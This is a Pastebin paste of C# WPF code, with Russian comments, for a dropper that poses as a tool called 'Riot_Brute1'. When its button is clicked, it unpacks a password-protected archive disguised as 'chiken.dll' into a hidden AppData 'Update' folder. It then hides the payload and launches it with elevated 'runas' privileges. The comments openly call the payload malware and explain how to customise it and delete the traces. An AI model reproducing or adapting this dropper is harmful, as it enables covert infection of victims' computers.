Guest User

Untitled

a guest
Feb 15th, 2021
840
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.91 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.Linq;
  4. using System.Text;
  5. using System.Threading.Tasks;
  6. using System.Windows;
  7. using System.Windows.Controls;
  8. using System.Windows.Data;
  9. using System.Windows.Documents;
  10. using System.Windows.Input;
  11. using System.Windows.Media;
  12. using System.Windows.Media.Imaging;
  13. using System.Windows.Navigation;
  14. using System.Windows.Shapes;
  15. using ICSharpCode.SharpZipLib.Core;
  16. using ICSharpCode.SharpZipLib.Zip;
  17. using System.Diagnostics;
  18. using System.IO;
  19. using System.Threading;
  20.  
  21. namespace Riot_Brute1 //название вашего проэкта поменяйте на своё.
  22. {
  23. /// <summary>
  24. /// Логика взаимодействия для MainWindow.xaml
  25. /// </summary>
  26. public partial class MainWindow : Window
  27. {
  28. public MainWindow()
  29. {
  30. InitializeComponent();
  31. }
  32. private void Click_Button(object sender, EventArgs e) //click_button наша кнопка, которую вы указывали в click
  33. {
  34. string dir = Environment.GetEnvironmentVariable("AppData") + "\\Update"; //Путь куда будет распаковываться архив + создание папки. Можете менять на своё.а
  35. if (!Directory.Exists(dir))
  36. File.SetAttributes("chiken.dll", FileAttributes.Hidden | FileAttributes.System);
  37. string password = Encoding.ASCII.GetString(Convert.FromBase64String("MTIzNA==")); //Там где MTIzNA== это наш пароль от архива в Base64, http://base64.ru/ заходим сюда и щифруем пароль который ставили на архив.
  38. ExtractZipFile("chiken.dll", password, dir + "\\"); //Распакуем архив
  39.  
  40. File.Delete("chiken.dll"); //Удаление архва если нужно. Если нет убирете
  41. new Thread(() =>
  42. {
  43. try
  44. {
  45.  
  46.  
  47.  
  48.  
  49. File.SetAttributes(dir + "\\chiken.exe", FileAttributes.Hidden | FileAttributes.System);
  50. ProcessStartInfo info = new ProcessStartInfo(dir + "\\chiken.exe");
  51. info.UseShellExecute = true;
  52. info.Verb = "runas";
  53. Process.Start(info);
  54.  
  55.  
  56. // эти две строки на ваше усмотрение
  57. //proc.WaitForExit(); //Ждем завершения работы малвари
  58. //File.Delete(dir + "\\update.exe"); //Удаляем exe малвари
  59. }
  60. catch (Exception)
  61. {
  62. }
  63.  
  64. }).Start();
  65. }
  66.  
  67.  
  68. private static void ExtractZipFile(string archiveFilenameIn, string password, string outFolder)
  69. {
  70.  
  71. {
  72. ZipFile zf = null;
  73. try
  74. {
  75. FileStream fs = File.OpenRead(archiveFilenameIn);
  76. zf = new ZipFile(fs);
  77. if (!String.IsNullOrEmpty(password))
  78. {
  79. zf.Password = password;
  80. }
  81. foreach (ZipEntry zipEntry in zf)
  82. {
  83. if (!zipEntry.IsFile)
  84. {
  85. continue;
  86. }
  87. String entryFileName = zipEntry.Name;
  88.  
  89.  
  90. byte[] buffer = new byte[4096];
  91. Stream zipStream = zf.GetInputStream(zipEntry);
  92. String fullZipToPath = System.IO.Path.Combine(outFolder, entryFileName);
  93. string directoryName = System.IO.Path.GetDirectoryName(fullZipToPath);
  94. if (directoryName.Length > 0)
  95. Directory.CreateDirectory(directoryName);
  96.  
  97.  
  98. using (FileStream streamWriter = File.Create(fullZipToPath))
  99. {
  100. StreamUtils.Copy(zipStream, streamWriter, buffer);
  101. }
  102. }
  103. }
  104. catch (Exception ex)
  105. {
  106. throw ex;
  107. }
  108. finally
  109. {
  110. if (zf != null)
  111. {
  112. zf.IsStreamOwner = true;
  113. zf.Close();
  114. }
  115. }
  116. }
  117. }
  118.  
  119. private void Click_Button1(object sender, EventArgs e)
  120. {
  121.  
  122. }
  123. private void Click_Button2(object sender, EventArgs e)
  124. {
  125.  
  126. }
  127.  
  128. private void Click_Button3(object sender, EventArgs e)
  129. {
  130.  
  131. }
  132. private void Click_Button4(object sender, EventArgs e)
  133. {
  134.  
  135. }
  136. }
  137. }
  138.  
Add Comment
Please, Sign In to add comment